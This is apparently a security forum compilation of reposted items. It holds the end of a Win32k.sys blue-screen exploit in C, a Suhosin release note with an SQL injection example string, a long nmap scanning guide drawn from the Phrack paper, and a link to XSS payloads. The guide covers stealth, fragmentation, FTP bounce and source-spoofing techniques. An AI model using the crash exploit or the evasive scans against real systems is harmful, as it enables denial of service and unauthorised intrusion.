HWND hMainWnd = CreateWindowA( "MyWinClass", "Microsoft Windows Win32k.sys Denial of Service Vulnerability", WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE, 0, 0, 500, 200, NULL, NULL, hInstance, NULL); if (hMainWnd != NULL) { HWND hButton = CreateWindowA( "Button", "Click me to see BSOD", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 150, 50, 200, 50, hMainWnd, (HMENU)BSOD_BUTTON, hInstance, NULL); if (hButton != 0) { hMenu[0] = CreatePopupMenu(); hMenu[1] = CreatePopupMenu(); hMenu[2] = CreatePopupMenu(); AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1"); AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1"); AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1"); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } } return 0; } Sursa: http://www.exploit-db.com/exploits/35326/

SektionEins releases Suhosin 0.9.37 Posted: 2014-12-03 11:00 by Ben Fuhrmannek SektionEins is proud to announce the release of the PHP security extension Suhosin version 0.9.37. Suhosin (pronounced 'su-ho-shin') is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. This release improves stability and adds a number of useful features, such as array index blacklist and whitelist to protect against attacks like this: http://.../foo.php?a[; or 1=1 --] SQL injection protection for Mysqli SQL username limits experimental UTF-8 exemption for binary data detection Debian package script well documented configuration file numerous new test cases A complete list of changes can be found in the ChangeLog. In addition there have been improvements to the online documentation: Configuration: Configuration | SUHOSIN HOWTOs: Suhosin HOWTOs | SUHOSIN Suhosin is officially supported to run with PHP 5.4, 5.5 and 5.6 on Linux. However for security reasons we recommend PHP 5.5 or above. The comprehensive test suite passes on Linux - Debian Wheezy and Ubuntu Trusty - MacOSX 10.9 and FreeBSD 10.1. The default array index blacklist is set to the following characters: '"+-<>;(). With this change in mind, upgrading from previous versions should be smooth and seamless. Download here: About | SUHOSIN Professional Support: SektionEins provides professional support for Suhosin as well as security audits of web applications, consulting services and trainings. Please use our contact form for more information. Ben Fuhrmannek Sursa: https://www.sektioneins.de/en/blog/14-12-03-suhosin-release-0.9.37.html

[h=1]NMAP - Port-Scanning: A Practical Approach Modified for better[/h]----Port-Scanning: A Practical Approach Modified for better ----------------------------------------------------------- I accept that when i got this file that was called nmapguide.txt it is written by Doug Hoyte a senior programmer and i liked to add some information for the past years that nmap has been a evolution on protscanning since 1997.I have added here the mos used commands for penetesters and so on for hackers.Im not saying that im helping hackers or the bad guys to get into systemsor get into troubles, this is a paper that should be read very carefully.It has too many infos for you........ Thanks Version 2.0 I took at about 7 days to edit, add, remove, and unduplicate the information. Port Scanning is not a crime and will not be till the end. Author(s): ------|Florian MINDZSEC|---------- - Skilled Programmer ------------------------------ * Introduction * History * What can nmap Do: * Your arsenal * Fundamentals * Port scanning * Practical Scanning * Scanning with NEW Scripts * Cheat Sheet * Nmap in your hands * Script Engine Scanning ------------------------------ Introduction ------------ Often times it is useful, even necessary, to gather as much information as possible about a remote target. This includes learning all of their network "points of entry", the operating systems used, firewalling methods employed, services running, etc. Note that while it certainly is possible to portscan with a windows machine, I will be focusing on using a unix machine with certain utilities installed. This is due to Windows' lack of raw socket access (pre Win2K) and the lack of decent, free, portscanners availble for the platform. In the next section I will share some useful pointers on portscanning. Note that root level access is required on your unix machine for many scans. History ------- The nmap is first released in 1997 in Phrack Magazine issue 51, article 11. Some information:[ Abstract ] This paper details many of the techniques used to determine what ports (or similar protocol abstraction) of a host are listening for connections. These ports represent potential communication channels. Mapping their existence facilitates the exchange of information with the host, and thus it is quite useful for anyone wishing to explore their networked environment, including hackers. Despite what you have heard from the media, the Internet is NOT all about TCP port 80. Anyone who relies exclusively on the WWW for information gathering is likely to gain the same level of proficiency as your average AOLer, who does the same. This paper is also meant to serve as an introduction to and ancillary documentation for a coding project I have been working on. It is a full featured, robust port scanner which (I hope) solves some of the problems I have encountered when dealing with other scanners and when working to scan massive networks. The tool, nmap, supports the following: - vanilla TCP connect() scanning, - TCP SYN (half open) scanning, - TCP FIN (stealth) scanning, - TCP ftp proxy (bounce attack) scanning - SYN/FIN scanning using IP fragments (bypasses packet filters), - UDP recvfrom() scanning, - UDP raw ICMP port unreachable scanning, - ICMP scanning (ping-sweep), and - reverse-ident scanning. The freely distributable source code is appended to this paper. [ Introduction ] Scanning, as a method for discovering exploitable communication channels, has been around for ages. The idea is to probe as many listeners as possible, and keep track of the ones that are receptive or useful to your particular need. Much of the field of advertising is based on this paradigm, and the "to current resident" brute force style of bulk mail is an almost perfect parallel to what we will discuss. Just stick a message in every mailbox and wait for the responses to trickle back. Scanning entered the h/p world along with the phone systems. Here we have this tremendous global telecommunications network, all reachable through codes on our telephone. Millions of numbers are reachable locally, yet we may only be interested in 0.5% of these numbers, perhaps those that answer with a carrier. The logical solution to finding those numbers that interest us is to try them all. Thus the field of "wardialing" arose. Excellent programs like Toneloc were developed to facilitate the probing of entire exchanges and more. The basic idea is simple. If you dial a number and your modem gives you a CONNECT, you record it. Otherwise the computer hangs up and tirelessly dials the next one. While wardialing is still useful, we are now finding that many of the computers we wish to communicate with are connected through networks such as the Internet rather than analog phone dialups. Scanning these machines involves the same brute force technique. We send a blizzard of packets for various protocols, and we deduce which services are listening from the responses we receive (or don't receive). [ Techniques ] Over time, a number of techniques have been developed for surveying the protocols and ports on which a target machine is listening. They all offer different benefits and problems. Here is a line up of the most common: - TCP connect() scanning : This is the most basic form of TCP scanning. The connect() system call provided by your operating system is used to open a connection to every interesting port on the machine. If the port is listening, connect() will succeed, otherwise the port isn't reachable. One strong advantage to this technique is that you don't need any special privileges. Any user on most UNIX boxes is free to use this call. Another advantage is speed. While making a separate connect() call for every targeted port in a linear fashion would take ages over a slow connection, you can hasten the scan by using many sockets in parallel. Using non-blocking I/O allows you to set a low time-out period and watch all the sockets at once. This is the fastest scanning method supported by nmap, and is available with the -t (TCP) option. The big downside is that this sort of scan is easily detectable and filterable. The target hosts logs will show a bunch of connection and error messages for the services which take the connection and then have it immediately shutdown. - TCP SYN scanning : This technique is often referred to as "half-open" scanning, because you don't open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and wait for a response. A SYN|ACK indicates the port is listening. A RST is indicative of a non- listener. If a SYN|ACK is received, you immediately send a RST to tear down the connection (actually the kernel does this for us). The primary advantage to this scanning technique is that fewer sites will log it. Unfortunately you need root privileges to build these custom SYN packets. SYN scanning is the -s option of nmap. - TCP FIN scanning : There are times when even SYN scanning isn't clandestine enough. Some firewalls and packet filters watch for SYNs to an unallowed port, and programs like synlogger and Courtney are available to detect these scans. FIN packets, on the other hand, may be able to pass through unmolested. This scanning technique was featured in detail by Uriel Maimon in Phrack 49, article 15. The idea is that closed ports tend to reply to your FIN packet with the proper RST. Open ports, on the other hand, tend to ignore the packet in question. This is a bug in TCP implementations and so it isn't 100% reliable (some systems, notably Micro$oft boxes, seem to be immune). It works well on most other systems I've tried. FIN scanning is the -U (Uriel) option of nmap. - Fragmentation scanning : This is not a new scanning method in and of itself, but a modification of other techniques. Instead of just sending the probe packet, you break it into a couple of small IP fragments. You are splitting up the TCP header over several packets to make it harder for packet filters and so forth to detect what you are doing. Be careful with this! Some programs have trouble handling these tiny packets. My favorite sniffer segmentation faulted immediately upon receiving the first 36-byte fragment. After that comes a 24 byte one! While this method won't get by packet filters and firewalls that queue all IP fragments (like the CONFIG_IP_ALWAYS_DEFRAG option in Linux), a lot of networks can't afford the performance hit this causes. This feature is rather unique to scanners (at least I haven't seen any others that do this). Thanks to daemon9 for suggesting it. The -f instructs the specified SYN or FIN scan to use tiny fragmented packets. - TCP reverse ident scanning : As noted by Dave Goldsmith in a 1996 Bugtraq post, the ident protocol (rfc1413) allows for the disclosure of the username of the owner of any process connected via TCP, even if that process didn't initiate the connection. So you can, for example, connect to the http port and then use identd to find out whether the server is running as root. This can only be done with a full TCP connection to the target port (i.e. the -t option). nmap's -i option queries identd for the owner of all listen()ing ports. - FTP bounce attack : An interesting "feature" of the ftp protocol (RFC 959) is support for "proxy" ftp connections. In other words, I should be able to connect from evil.com to the FTP server-PI (protocol interpreter) of target.com to establish the control communication connection. Then I should be able to request that the server-PI initiate an active server-DTP (data transfer process) to send a file ANYWHERE on the internet! Presumably to a User-DTP, although the RFC specifically states that asking one server to send a file to another is OK. Now this may have worked well in 1985 when the RFC was just written. But nowadays, we can't have people hijacking ftp servers and requesting that data be spit out to arbitrary points on the internet. As *Hobbit* wrote back in 1995, this protocol flaw "can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time." What we will exploit this for is to (surprise, surprise) scan TCP ports from a "proxy" ftp server. Thus you could connect to an ftp server behind a firewall, and then scan ports that are more likely to be blocked (139 is a good one). If the ftp server allows reading from and writing to a directory (such as /incoming), you can send arbitrary data to ports that you do find open. For port scanning, our technique is to use the PORT command to declare that our passive "User-DTP" is listening on the target box at a certain port number. Then we try to LIST the current directory, and the result is sent over the Server-DTP channel. If our target host is listening on the specified port, the transfer will be successful (generating a 150 and a 226 response). Otherwise we will get "425 Can't build data connection: Connection refused." Then we issue another PORT command to try the next port on the target host. The advantages to this approach are obvious (harder to trace, potential to bypass firewalls). The main disadvantages are that it is slow, and that some FTP servers have finally got a clue and disabled the proxy "feature". For what it is worth, here is a list of banners from sites where it does/doesn't work: *Bounce attacks worked:* 220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready. 220 xxx.xxx.xxx.edu FTP server ready. 220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready. 220 lem FTP server (SunOS 4.1) ready. 220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready. 220 elios FTP server (SunOS 4.1) ready *Bounce attack failed:* 220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready. 220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[bETA-12](1) Fri Feb 7 220 ftp Microsoft FTP Service (Version 3.0). 220 xxx FTP server (Version wu-2.4.2-academ[bETA-11](1) Tue Sep 3 ...) ready. 220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[bETA-13](6) ...) ready. The 'x's are partly there to protect those guilty of running a flawed server, but mostly just to make the lines fit in 80 columns. Same thing with the ellipse points. The bounce attack is available with the -b <proxy_server> option of nmap. proxy_server can be specified in standard URL format, username:password@server:port , with everything but server being optional. - UDP ICMP port unreachable scanning : This scanning method varies from the above in that we are using the UDP protocol instead of TCP. While this protocol is simpler, scanning it is actually significantly more difficult. This is because open ports don't have to send an acknowledgement in response to our probe, and closed ports aren't even required to send an error packet. Fortunately, most hosts do send an ICMP_PORT_UNREACH error when you send a packet to a closed UDP port. Thus you can find out if a port is NOT open, and by exclusion determine which ports which are. Neither UDP packets, nor the ICMP errors are guaranteed to arrive, so UDP scanners of this sort must also implement retransmission of packets that appear to be lost (or you will get a bunch of false positives). Also, this scanning technique is slow because of compensation for machines that took RFC 1812 section 4.3.2.8 to heart and limit ICMP error message rate. For example, the Linux kernel (in net/ipv4/icmp.h) limits destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded. At some point I will add a better algorithm to nmap for detecting this. Also, you will need to be root for access to the raw ICMP socket necessary for reading the port unreachable. The -u (UDP) option of nmap implements this scanning method for root users. Some people think UDP scanning is lame and pointless. I usually remind them of the recent Solaris rcpbind hole. Rpcbind can be found hiding on an undocumented UDP port somewhere above 32770. So it doesn't matter that 111 is blocked by the firewall. But can you find which of the more than 30,000 high ports it is listening on? With a UDP scanner you can! - UDP recvfrom() and write() scanning : While non-root users can't read port unreachable errors directly, Linux is cool enough to inform the user indirectly when they have been received. For example a second write() call to a closed port will usually fail. A lot of scanners such as netcat and Pluvius' pscan.c does this. I have also noticed that recvfrom() on non-blocking UDP sockets usually return EAGAIN ("Try Again", errno 13) if the ICMP error hasn't been received, and ECONNREFUSED ("Connection refused", errno 111) if it has. This is the technique used for determining open ports when non-root users use -u (UDP). Root users can also use the -l (lamer UDP scan) options to force this, but it is a really dumb idea. - ICMP echo scanning : This isn't really port scanning, since ICMP doesn't have a port abstraction. But it is sometimes useful to determine what hosts in a network are up by pinging them all. the -P option does this. Also you might want to adjust the PING_TIMEOUT #define if you are scanning a large network. nmap supports a host/bitmask notation to make this sort of thing easier. For example 'nmap -P cert.org/24 152.148.0.0/16' would scan CERT's class C network and whatever class B entity 152.148.* represents. Host/26 is useful for 6-bit subnets within an organization. [ Features ] Prior to writing nmap, I spent a lot of time with other scanners exploring the Internet and various private networks (note the avoidance of the "intranet" buzzword). I have used many of the top scanners available today, including strobe by Julian Assange, netcat by *Hobbit*, stcp by Uriel Maimon, pscan by Pluvius, ident-scan by Dave Goldsmith, and the SATAN tcp/udp scanners by Wietse Venema. These are all excellent scanners! In fact, I ended up hacking most of them to support the best features of the others. Finally I decided to write a whole new scanner, rather than rely on hacked versions of a dozen different scanners in my /usr/local/sbin. While I wrote all the code, nmap uses a lot of good ideas from its predecessors. I also incorporated some new stuff like fragmentation scanning and options that were on my "wish list" for other scanners. Here are some of the (IMHO) useful features of nmap: - dynamic delay time calculations: Some scanners require that you supply a delay time between sending packets. Well how should I know what to use? Sure, I can ping them, but that is a pain, and plus the response time of many hosts changes dramatically when they are being flooded with requests. nmap tries to determine the best delay time for you. It also tries to keep track of packet retransmissions, etc. so that it can modify this delay time during the course of the scan. For root users, the primary technique for finding an initial delay is to time the internal "ping" function. For non-root users, it times an attempted connect() to a closed port on the target. It can also pick a reasonable default value. Again, people who want to specify a delay themselves can do so with -w (wait), but you shouldn't have to. - retransmission: Some scanners just send out all the query packets, and collect the responses. But this can lead to false positives or negatives in the case where packets are dropped. This is especially important for "negative" style scans like UDP and FIN, where what you are looking for is a port that does NOT respond. In most cases, nmap implements a configurable number of retransmissions for ports that don't respond. - parallel port scanning: Some scanners simply scan ports linearly, one at a time, until they do all 65535. This actually works for TCP on a very fast local network, but the speed of this is not at all acceptable on a wide area network like the Internet. nmap uses non-blocking i/o and parallel scanning in all TCP and UDP modes. The number of scans in parallel is configurable with the -M (Max sockets) option. On a very fast network you will actually decrease performance if you do more than 18 or so. On slow networks, high values increase performance dramatically. - Flexible port specification: I don't always want to just scan all 65535 ports. Also, the scanners which only allow you to scan ports 1 - N sometimes fall short of my need. The -p option allows you to specify an arbitrary number of ports and ranges for scanning. For example, '-p 21-25,80,113, 60000-' does what you would expect (a trailing hyphen means up to 65536, a leading hyphen means 1 through). You can also use the -F (fast) option, which scans all the ports registered in your /etc/services (a la strobe). - Flexible target specification: I often want to scan more then one host, and I certainly don't want to list every single host on a large network to scan. Everything that isn't an option (or option argument) in nmap is treated as a target host. As mentioned before, you can optionally append /mask to a hostname or IP address in order to scan all hosts with the same initial <mask> bits of the 32 bit IP address. - detection of down hosts: Some scanners allow you to scan large networks, but they waste a huge amount of time scanning 65535 ports of a dead host! By default, nmap pings each host to make sure it is up before wasting time on it. It is also capable of bailing on hosts that seem down based on strange port scanning errors. It is also meant to be tolerant of people who accidentally scan network addresses, broadcast addresses, etc. - detection of your IP address: For some reason, a lot of scanners ask you to type in your IP address as one of the parameters. Jeez, I don't want to have to 'ifconfig' and figure out my current address every time I scan. Of course, this is better then the scanners I've seen which require recompilation every time you change your address! nmap first tries to detect your address during the ping stage. It uses the address that the echo response is received on, as that is the interface it should almost always be routed through. If it can't do this (like if you don't have host pinging enabled), nmap tries to detect your primary interface and uses that address. You can also use -S to specify it directly, but you shouldn't have to (unless you want to make it look like someone ELSE is SYN or FIN scanning a host. Some other, more minor options: -v (verbose): This is highly recommended for interactive use. Among other useful messages, you will see ports come up as they are found, rather than having to wait for the sorted summary list. -r (randomize): This will randomize the order in which the target host's ports are scanned. -q (quash argv): This changes argv[0] to FAKE_ARGV ("pine" by default). It also eliminates all other arguments, so you won't look too suspicious in 'w' or 'ps' listings. -h for an options summary. Complet: http://www.exploit-db.com/papers/35425/

XSS Payloads For several years I've been looking for different types of payloads I could use or adapt to my XSS exploits. I ended up with pieces of code spread everywhere, spending more time to search for what I needed than just rewriting it... Obviously it was time to organize a little bit all this mess, and to share. I could build this library thanks to many people who help me learn, and code. Now it is my turn to share. Enjoy! Link: XSS Payloads